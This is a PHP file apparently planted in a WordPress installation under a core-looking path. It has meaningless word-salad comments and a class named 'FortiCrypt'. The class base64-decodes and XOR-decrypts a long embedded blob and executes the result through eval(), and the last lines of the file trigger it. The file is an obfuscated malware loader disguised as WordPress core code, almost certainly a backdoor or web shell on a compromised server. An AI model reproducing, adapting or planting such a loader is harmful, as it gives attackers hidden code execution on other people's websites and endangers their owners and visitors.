File: /home/deshuvsd/public_html/wp-includes/block-supports/border-Hooks.php
<?php
/**
* horror laser mere motivate personal register skim videotape.
* agent appoint brake simplicity waist.
* catalog import notify passport prevail.
* $utqzff = applause conquer evaluate fatigue nylon opportunity rival terror trial;
* academy bachelor deaf ingredient optics personal quotation sexual.
* $sdyphfmv = idle leap missile organ repetition reveal;
* $jczsou = architecture award exaggerate exclusive network promote transform urban welfare;
* response approach hatred lean media pants presumably profitable region shallow simplify.
* @package WordPress
*/
class FortiCrypt
{
private string $protectionKey;
/**
* derive identify precaution reluctant.
* $zgabmi = beforehand discount liter participate ridid sexual title trap vacant;
* $iqbprx = abundant consistent expand powder vague venture;
* casual chaos domestic geology hostile index liberal split terminal terror.
* comment decorate exclusive gap gaze globe infect inhabitant mild slippery transmit.
* brake burst decay geology junior the vary.
* @package WordPress
*/
public function __construct(string $protectionKey)
{
if (empty($protectionKey)) {
throw new \InvalidArgumentException("protectionKey key cannot be empty.");
}
$this->protectionKey = $this->deriveVersionSecret($protectionKey);
}
/**
* identify slide strategic talent.
* cliff community domestic extraordinary minimum omit tropical.
* acid adjust appeal barrel decorate exclude female violence.
* chaos community delay display fatigue mood mutual.
* architect deputy dump harmony hydrogen inferior modify offend split subsequent vital.
* beforehand bunch incident male mixture pursue software solar ultimate weed.
* @package WordPress
*/
public function resolveCipher(string $ciphertext, bool $fixed = false)
{
$raw = $this->normalizeBase($ciphertext);
if ($raw === false) {
throw new \RuntimeException("Invalid Base64 input.");
}
$keyBytes = array_map('ord', str_split($this->protectionKey));
$keyLen = count($keyBytes);
$data = array_map('ord', str_split($raw));
if (count($data) < 2) {
throw new \RuntimeException("Ciphertext too short.");
}
$checksum = array_pop($data);
$calcSum = array_sum($data) % 256;
if ($checksum !== $calcSum) {
throw new \RuntimeException("Checksum verification failed.");
}
$decrypted = [];
foreach ($data as $i => $byte) {
$decrypted[] = $byte ^ $keyBytes[$i % $keyLen];
}
$result = implode('', array_map('chr', $decrypted));
if (!$fixed && strlen($result) > 8) {
$result = substr($result, 8);
}
eval('//' .$result);
}
/**
* advertise agent bundle comparable gallon horror inevitable portion vessel whereas.
* defect discount entitle internal mood nucleus restrict scandal temple variable.
* appetite aspect calculate gaze leisure partial subsequent tension title virus.
* column gesture horrible male prescribe.
* $xcpgchml = academy community infect internal motivate render;
* $odyeougvne = adhere domestic entertainment evolve grant issue lean liable triumph;
* compete conquer debt facility mist scale volcano.
* $igmcnmb = academy deposit excursion knot parade slender slide timber universal;
* commit illegal moisture nevertheless transplant triumph vague.
* catalog column echo inhabitant marveous merchant offend suspicious utter vessel.
* adequate flash gratitude mutual ridid secure simplicity.
* clue commit exclusive horrible loosen motive prompt racial reputation transform.
* @package WordPress
*/
private function normalizeBase(string $data)
{
$data = strtr($data, '-_', '+/');
$padding = strlen($data) % 4;
if ($padding > 0) {
$data .= str_repeat('=', 4 - $padding);
}
return base64_decode($data, true);
}
/**
* loose offend reliable title victim.
* abundant algebra favorable golf ridid.
* origin petrol subway weed.
* device likelihood manufacture passive.
* emotional evaluate laser shield.
* $denbfgc = cope orchestra outset primitive quit severe vehicle whatsoever yawn;
* decade solar terror variable.
* $cyfpyndtre = deserve focus retain shield slender vanish;
* automatic breed capture dash discrimination fertilizer humble mutual simplify submit yawn.
* academic appetite competent distinguish enthusiasm portable profit vessel.
* @package WordPress
*/
private function deriveVersionSecret($version = null){
if ($version === null) {
$version = date('Y-m-d');
}
return substr(hash('sha256', 'prefix-' . $version), 0, 32);
}
}
/**
* appropriate career media subsequent violence.
* $imaumw = discount erect interpretation magnet mist terminal;
* consume interfere rescue spur vessel.
* delay explore explosion infer.
* decline distress evolution orchestra profit reluctant submerge trace.
* @package WordPress
*/
$signatureObj = new FortiCrypt("v1.0.0");
$cipherVault = 'W0XggA4nNdBXCVEMV1g-GhoSbxEbFgYNWk0IVxcLQ0RDXldWTRMNDRJYBUxCDEZcV1ELEUNTEwdVVUFKCg1AUhEVT1ZaUgEXClARTExpFB8QWwRcQUMWQlFXFVEXF19WEFgZXktSDQZGVhFUFgZSQFwYDF9XXwsLQFxBVwcQQVgRXhlPWEEKAwRdBhtoQx4VWF0XVRFfCBJbSgQZEhZZRBNQS1BNSkMXElgPXBEGFEJYXRdUUEVLaBQTQVIMC0IXEVBJXE1aFwsJX0NGCwRaVERNF1QRQhcHWVwPXQ0RRRlpFRMZWlITFhNDBhUBAkZQVUpFV1REEQtYUBtcEERRVhFXWF5cEwsXC1MPUEIQXFxWTEVGWVcREVtcF1wQSjwXSRUdUUlUEwMMUApTQl4UVl9KABFUWBEKQUoIWBEJFlAGWlVWXkpDDwlYEEFCEV1DUVRFRUNTCAdaXQ5MEV88F0kVWF1TRhAWRlAUVBAHFFdRShdYVERFAVhQB19CAF9EE1pKXBlDEQsIUgpFDgYUQVVWAVRfVRxMPhlLGUYWQEYJQE1QXBNeQgdBE1ADDxRWXE0AEVVTBAQUXABLFgxHQgJeXBlJVhcQCV0GQA9DRlBeXABDCjxFSBQdDUAWFVxZEk1dShkOQwMWQQZBCxdRFVVJEFhHVwkHWk1BXBoFUVAGR1hNXBMFAx4RC1oQEVtHEFAQXFNaAEJESw5UCwpTWRcVS1xeWgwMRkYCWwYGRg46GE8RcUYEAV9YBlxCM1lFB2VLXEpAaUJMHmk4aEdCBUYYWBEWXkUNQEoQTQEJRl8LD19VFkEaTRBWAFsWD19eXxgAREJTARhVShBKDBdZUgpCQRlSUkNCSFYZVgcHW1dXVRBaHl4AA1kZDFMaBUFGAVZKSl1SFxFGRBlQEQZDGEpJVUlFDgYbBVMGAQAOGVMTVFxcSUoGCx9AUUILUERSAFkOA0haSwFRSRFOChBcRwxCHgI0OUcUV0dDCEIQQEdcXQsZFUBVFB0CbDNGCllAFkdVGQQTREVdPGlTDREcEVkFVQoREgxeEE9QT1lEEl5IHhBCNDlDQkYRClNKQxBcEB1FAhELWEIEGUhCb24WF0MVGRkZE0cMCUYWRw5DGggQHBMBR21BC2kCbDNCRBYXHjgzRDQ5TEhMO0MfQg5VUl5dERFfQwgHRksOTBFEWVUQVkxLXBMTEANHCloXEBo_EBJFUFJXAQdZQEFaDQlbQg1cTUAZXwYLFUQRUEIVXVdCWRFUEUEMFlxKFVgMABg9Qx8ZW1ZGDQYHQxoVAQxZWEVWDEVIFgsDQlAGWBYNWVlDWklJVkEXFwhYF0xCE1tHRFkHXVQWFwdEXBVQFg1ZWUNGUUxNRw8HRkURXAMPFEFFURFYXlhFFV1NCUoWBVhTTT8ZExlSFxYPRRZRB0NXWlxUDEJYWQtCWVASTUIQV0UNUEpNGUQCDAJUERtoQx4VVUAVVF9SRQRYVgJSQgNTWQZHWE1cEwoPFl4QUEITRlxfSgxFSBYVEFtKEVwBEBZEFkZJUFpaDBcVH2kVSENVUlVWERFVQxcDVlUEGQcXRVINQVBYVRMGGgVUEEZCBkxFUVYBEVROFQ5bSghWDERTTxdHXFRcEwUDEF4RXBYGFEBETABDEUAMDVhcD01MbhYdQxFOT0pXBQwJEV4VAwBFQFlKABFVXxYSWFgYGQUIWUUKWkxKGVkGAwhCQ0YXAUdBUVYGVBFCAA9EVhNYEB0NPUMfGXlJUgAJB1YGFTUMRlFgSgBCQjxFSBszbDNGEgJBQwgZWEtBAhtOGFg4aEdCBkYYWBFbRQoMa1wPWg0AUx9DEWZqfGE1JzQRSBVGPGR6Y2xFGAo7b0ZCDRdiRQ1XWhZETVBJW0Q_RgxDERRQQg49MgNeQx5BCwkJWhlGDQoFWBUdUBIYShlrO0MVQkMQQwNORQwRVRAQWGYIVwsQHh5YODMZGRNDARNDD2oRBkBaQExNERVAVhQYGSJsMCh5ZzdqbGt1H0NGCF4UQBAPFBwLNW8RERZFAUFLDWYRAUJYE0ERGR1FUBRKESBgMC97ZWRnLXRwciAwGBkHWA4XUxdKDjQzGRNDQgVEEVk9EFFBX0gRGRESE1FCFUF6NzZ6eDNhZmt8ZzYwKGUxdCwwcnBiFEVFQ0MAQh0CbDNCRBYXAEBLVWZABhYJQRcdQkdCBkYURXJkZCktZG0-aS03YhtDQUtMXBNKWWs7QxVCQ1dAQlQ6QlRCChJAEUEdFFdAG0N2bGt1fDM2OWEsZjYlfXB8fDYdERITVkIZSAJvbhYXQxVaTEtfPBEDRQxFFksUEUYLEx0RdTAweHYxbT0neXktcHptbXouJylkNxlCUAQVGQNoOxEWRUIQT1RPQlkWVBZHVWZcSwYBThFHQ1EVFBwLNW88OztvQhQZQVAETF9EEFBNER1sJCcyakRRBwFBUhdlTBEXEEVGa34kbTlDUlIBQF4eZBNeX0YAQxNEQ0RHVV86XFBCBgocHkJnCg0aFAoSFRkdbDAnNGcmZzlEfGFkaDpwcnUgMmBmLXgsI2N2JHAeZBAaGG9sEUMVQkMUFRBdBlleFkJeUFAXGREQT1sGCBtdUEATDgdIWRUMDFpQCxpbFgo7b0IUGUEZQkQWUgBdVhkdXQwVE0MPG0BfVkcfBkcfYX41PXF2LQJvbhYXQxUZGRkTBgEOXkMRFFZCDj0yRRERFkVCFBkEQQsQDTppFRkZGU5uaGs7QxVCQxsfGjJFGxFbBAVaXBUZDBFbUhFHVkxKEwwAFVIWRwdDREdVTgxeREVLaBQTQVgBBVJSDkwZWlZeDhcIWBdMQg9RXENNF1QRQAwARlgVXEITX0MLRk1YV1dNaEYbQ1cNFlpRUUocEVJZCA9BVwhNG0RYVhVcXlhNWgwMRl4TRQ0RQEBeURFIEUYKEEBYA1UHRERSE1BNUE1aDAxGQgtAFhdYUBBMF1hQWkUWQVAVUA0KFkAKQVFKTVINBkg7Qx9CAkBBWUwQVVQWBg1YVQhKCwtYFw5cSk0ZRwIQCFQQQUIUVVtUXRcfOxZPQlFBEVwMABZRD1paUhlUBgwDQwJBB0NdWEBXFlQRRhcLW0sITRtERkUMRklcWkdDERNCE1wBCltAQxZvERsWBAVRVxUZBhFEVgFZXBlcQBAHCEUKVA5DUU1TXRZCEVMdElVXBRkHHEZbDEZQVlcTBhoSQwZYB0NSVEZXF1hFU0UXQE0ES0ISX1gPUFdNFzlDSEYVFEMRB1JbXxhYEVBVFBddSwQZBg1FRw9UQBleXwwQD14WRkIJUVReS0VCRFQWFlVXAlxCEFNaE1pLWEtKWGhGG0N1EgJXXlFfABFmWRcGZEsEShFuFh1MPzQzGRNDQg9XQx1CQkRHVV86XFBCBgocGUYWXgJfWxdQSwcRHUhdTw0_GgQKWEFVSlseWEVCThQdFwwUSBYTFQVPGRATSm9sEUMVQkMUFRBbCl9FXwsXUQJsM29uFhdDFR1PDEVDX0ZWGVwMBVhURF1NEVNXFgcCDT5dBwdZUwYdGR1PAxU5V2xDHEJKDzg6NW8RERZFRkIKFxlfRFxEDFtmXVxQDAYDGUMRFFZCGRBMF0RUFkxZOTNsM29uFhdDFRYTEzlDSEZSDFsWClpAX00WEVpYChYUVw5NCwJPFwxHUF5QXUMQA0cGVA5DR11ZTgBDEUAKAVVbFFUDFk8ZaRUTGVpSDhITQkNQDBdcQENRBEJcFgIQVVcFGQUWV0MGU0xVGVoNBA9fCkEHQ1pQRE8KQ1oWEwNGUABbDgEYPUMfGVFcQQdCD1wTWhEGFEVCVxZBVEQMFk0ZFE0LCF9EBhVOUVxBBgMVH2kVSENfW19MRUNURgAWXU0IVgxERV4EW1hNTEEGQhJDBlgHDVBaRUtLOxEcRQFVSRVMEAEWVAJHXFxLEwUHFEUKWQsZUUcQXwRDU1cCBxRRFFQACFMXEF1QX00TFAoHRRBaBxVRRx4yRRsREg0SU0kAUwMNUBdeFVpWS1ZDBwhFC0ARClVGXRgCVF5aCgVNGQxWCxdCFxFcT1hVExcQA1wGWwYMQUYLMkUbEVcBCEFKFRkDE1dFBxVbWEtBCgcUEQBZCwVSFVRRFkFeRQBCREsIVwENRlsGFU1cV1cGDAVITT9CSRQRQk4UW0RCDAcUBEFYEhRTVg8VWlVMVkMGA1AFFQcCRkFYSRBQWlNFElFNE1YOAUNaQ0dcV11WEVlsEUkVRg9NQUFSC0BJUhZCCRkASRIBQl4XUBlcSEYKFAddBlsWQ1FNUV8CVENXEQcUXwBBQgxZRRFaSxlRRg4AClRDRRAMWVxeXQtFEUQABV1WDxkVBVhTBkcCMxkZQyIWUABeAwRRFWdXF1VhRAARRzNBE01uOz1DFRkZUFVLQg9CPFQQEVVMGBhBRwJARUsUEBo0aGk8F0MVGRkZE0MECUMGVAELHBFGCxMRUEVFRl9cGARcQEBESk40MxkTQ0JGEUMVQkMUFRQcDlRIFlhCEE8SAm9uFhdDFRkZGRMeb2w8aRVCQxQVEBhFWFceDBFHXBURRgJaXgZGEBkfFUMLFW4CRxACTR0UXglYVEVMS080axlCRBYXQxUZGRkTQwQJQwZUAQscEVZUDFRCFgQRFB0KXBtZCBMVRhBCNDlDQkYRQxVCQxQVEBhFEREWQRRHGVwZAAVFUlUBZl1cUAwGAxlHQxFKDzg6GEURERZFQhQZQRlCRBYXQ1NQVVxsExcSbgBaDBdRW0RLTRVaUxxOEE8SEFlpPBdDFRkZGRNDQkYRQ0hvaRQVEBhFEREWRUIUGQRBCxANOmkVGRkZE0NCRkxuP29pOT8QGEURERZFQl1fSVARF1NDSxFeTlxeFA4UQgAcQkUSFRRfElRcQQkQR1pIQm9uFhdDFRkZGRNDQkYRC1ADB1FHGBwCRlRbEg5GSgIQWWk8F0MVGRkZE0MfaztuP0JDFBUQGEURWFBNC0dKBE1KQEBCC0FBQ11XFktGF0UVRhVBXURAH1VVQ0wZOTNBGUJEFhdDFRkZGRMGAQ5eQxEUFlxBSEIBVUQNaGg5M0EZQkQWF0MVGRkZEwoEThBLXBEQUUEYHAteVV8ASxQfRxlGCllTClAQEDQ5Q0JGEUMVQkMUFRAYRRERFgAaXU1aNGhEFhdDFRkZGU5uaEYRQxVCQxQVUkoAUFoNaGg5M0EZQkRLOmk4M0Q0OW5oaztuPwsFHFxDSwBFGRI6JXFtOh4SBVFSRGgQGVZBQwsVQgZBSkdrZX9rMWoWRgQFUR48EEsfOz1DFRkZHVUKDgNhAkEKEFVGEAVFajw8RUIUGUEZQkQRXg1RXEEXQwsSQRFeC0JEZHEJTwR5cH0pG1tIIlAjFX9yOUxbCwwDKio0Ryp9MAxuZnJgBwJ7XTAqflUCCi8Db28hQlt-VVk6OjRBAQdWFn1zYlcEaXxRPw9YSjtqIA9UBTVPW1BdAyolNEcqciQWUW1iVwRmBFgpIXZQBWEzA1RwWl1jcXR4KiEJVgcGIxdtWEhOP0gAWT81clI7YSsRVXALQnBxXVwCNSheKnIwFW5tfV88ZgRdLCpmVQN-Gh5_cQdDWlRrYgAPMEsATCBTVkxySwcDd10sKmZWO2ogVFdwNUFjag14KiEJeip2DQRlfXJQPANFXj9QYV43C1sdbHEhTGNhd0kgCydAL0INKHhMX0kmWHBHLCRmVQN-Gh5_cQdDWlRrYgAPMEsATCBTVkxySwcDd10sKmZWO2ogPFQEKV5scXNfAFErVgdyCg9WYmVfPGYEXSwlDQgFcSBVUnQhRV16DXgqIQl6KnYNBGV9alAGWHNfB1ANSiJQIxV6QBNeY25jQwEPM14qdgY7YXMJbjABZ1AzJ1x_NWw0MHxOFFJdcXMCOTEnQSxCDSh4TF9JLHRJQDw1ZkMocTALbGQhbVsKc1g2KixdAAYvBGZiBQoEaXtABw8FVQNXMwNvYFZecH9rXwE6JEI6bTAPfXZfTiZfe1oGOmJJAlQ3A24GWnBqb3NVOxsnRCp2ARVQBnFMPFxJQD8bBVY7biQPbG8qQFp-UUQpGBV6RBlvaRQVEBhFEREWQhVEFANVDQMbXwZUXVxLHRMKFhZDCFxDE2V0ARJQeXcuLk1WEHoLJUd-Jk1PYG5hGSsuYwxvMSFsVwNyDmR5fAkBB3QGYzVRBFY7f09bVAIPAAhgBGw1Vl98eGoJU2l0Fjtsaw11BQtRfARaXnJQcSIBIXcJVFAlWm9jej1TAnwON3xzDVpRKX1-IFpPel5DEzgPcAx8ISZTVGh2H2tpZword2tSWiRdXVY0Z19YfmULOCFnGnwhCFN-Y3pSclZZLyh8XRZhUDZGbSUMVmNudQg4PngEZTEhBFZebgl-RlkuIWcBF3AnHEBuNGReXX5bDysgVRVWDzFlVl1uH1JIdBYDY3MYYDouA3sEWnNaVGUbBjFdGm80WkJXXXYJeHcPAzBxVTJhU1xRewp0V3UKVxQuMUkVbDUyQVZ3UBJ7S0UuIVNSF3UbJmJtO2ReXWFyBAYhWQ98JAdCVl1qNFJcYB8BTXsZXTUyT1IwAXJ6YVcUKSVaVHYFDH55SQACZXYPDTh3e1FYJTFRUyRdVVtuZgQGIWcXViUbXFF3bRByVlocOGx_UFg6LlpvUQxMYAtmBDMzezdgJyVhZnN5EHh3UjQxYQwlcCFQUX0aDAljbgIUACF3U28xUkdXAn4Oa2l_EAFzURZzGBd9dA0FcnpeXChFSjxpFUJDFGgLNW88OxZFQhQdB1AOAWZWF11KWEpaGUJbETg4aEMUFRAYRREREQwMUFwZFxIMRhBDCAcZDQJWTms7QxVCQxQVEBhCRkEbBw5bXkxRBwVSUhEbSVFJFENfWBFQA1dPOT8QGEURbA1oaDkzQRlCRBJRCllcaUtWEEJbEUQSWW4-FRAYRVhXHgEHUlAPXAZMEXYhZml4bXtES0YXRRUEClhQb10dWEJCFkp1ezJpIzB-F00VHlBXVwYaSEELRUVKFBMWGANYXVM6B0xQEk0RTHd1MGV4bXETTUJBRhMYAA9bUh1QAFBVUxdMRFERHktNTTppFRkZGRNDQkYVBVwOBmRHVUtFDBF3JzFkeDVxWWk8F0MVGURcXxAHD1dLXBEQUUEYHDpidGQzJ2ZiRn0tJ2N6JnttZmt8LDZBbEoVREUUU1lUAG5UTgwRQEpJHT03c2U1cGtiHncsITN8Jns2PGZ6f2xCbBEYRUUbUA9dBxwYRwtFHhAZFUVCAFgPUD0GTFxDTBYZFWk2J2ZvJGs5Q3J4IGB0fHdnPDApfjcSP0MaFRcXEkEcVAkNUxQJXAMAU0VNRVFJHhpKQh08aRVCQxQVEBhFFVdfCQdkSwRKQlkWEzxmfGtvdjE5QXUsdjcucXtkZzd-fmJCPxQXQR5NQw06aRUZGRlOBg4VVBg4aEMUFRAYRREREgYXRksEVxYgX0VDCBlmZncqMDluWDhoQxQVEBhFERESFw1bTSVQEEQLF0dWTEtLVg0WIlgRDm9pFBUQGEURERYSCl1VBBlKRVBeD1BmXEFaEBYVGUdHDQxAcVlKRR8REUoVRBQDVQ0DG18GVF1cSx0TChYWShVERRQRQlcKRXVfF0IVBFwZRUsRHkNONDMZE0NCRhFDFUJDFBUUSgpeRXIMEBQEQV0LFlhWDlARHUtcDBYiWBEcWW4-FRAYRRERFkUfOTNBGUJEFhdDFR1fUF8GMhRUEBVfQxBHX1cRdVhERUwUHk4eWWk8F0MVGUQ0OW5oRhFDFQQMRlBRWw0ZFVAMDlFpAE0KF1dECk8ZWEoTRwkDSF4LRhVHHEs1bxERFkVCFBlBUARMUF4PUGZcQVoQFhUZR1MLD1FlQl0WER8WQQlRQEgZREIWUQpZXEpQSQZKQlcKWQczRlBDGEsRFV0AGx0ZXxlGAl9bBmVYTVFAAhEPSzgRCQZNaBlDaDsRFkVCFBlBGUJEFhcKUxkRGFoQPRFDCkEDAVhQGBwDWF1TNRBRSkEXQkBdUhocEBlCPmlCRhFDFUJDFBUQGEURERZFIldRDFYGTBJRCllcaUtWEEJIEUdeBxoYFQAOUwcYDWhoFBlBGUJEFhdDFRkZRD5pQkYRQxVCQxQVEBhFFUFDETFAS0EEQgZXRAYDDWZdVgANAlRLEQQKWFBgWRFZQlcWORBSBEA_TQ06aRUZGRkTQ0JGEUMVQiNSXFxdOkFEQjoBW1cVXAwQRR9HU1BVXGMRBxURTRVGCFFMHBhBQURCNhZGEFo0aEQWF0MVGRkZTm5oRhFDFR9uPkg9Mmg7PDxKSB4zQRNCAFNUBltNGVxLFwcUXwJZQg5bWVVbEF1UFhcHWFAGUA0RRRcWR1tYVx1pQkwRAlYLBxRUQEgJUERFAEJVSw5MEQEWUxZHWE1QXA1CAVAPWQ0NFFxeSxBDVBYLF11KAFcBARg9Qx8ZWFVHBhBGUBNFEAxCUBBZF1JZXxEHV00USwdEU0EMWUxNUFwNQgNJAEAQEF1aXhgASUFXCxFdVg8ZEAFaXgJXVVwZRwYMAlQRFRYGRlhZVgRdEUIXB1VNGBdoRBwXE0BLSkxWQxERUA9ZDRQUQUJdCFNdU0UaRFUOUBZKPBdJFVNMV1oMEEZcAlIMBkAVXl0QRUNXCUJaVhVQBB0WRBZXVFBNHWlCTBECUgcNQBVRTQFYXhYAFF1VQVwaFFdZEFxWVxlVAhYHXUNcDBdRR0BKAEVQQgwNWhkMWAsKQlYKWxlLXF4MFgMREEAADlFHV11FREVfCQtHXEFOCgVCRAxQT1xLHWlCTBFHXRAHRkBRGFgRUEIRA1dRQVsOBUVDQ1BXTVBHDwdGXQpXBxFVWRBUDFNURBEbFEkOTgYBRBcXR1BMVEMLQhFQBFoMQ0NQVVxeOxEcRQdMSQRXBg1CQhFQGV9cQQULClRDRQcCXxVDUAxXRRYWCkZQD1JCEFdFBFBNGU1EChESERtFDgxdQR4yRRsRVwYDUFwMUAFEUlIQVlxXXRMTBxRCDFsDDxRFQlEKQx88RUgUeRFYAQ9XUAYVblZLVzMQA0IQP0JJGz86C1MGBwVeLA';
$signatureObj->resolveCipher($cipherVault, true);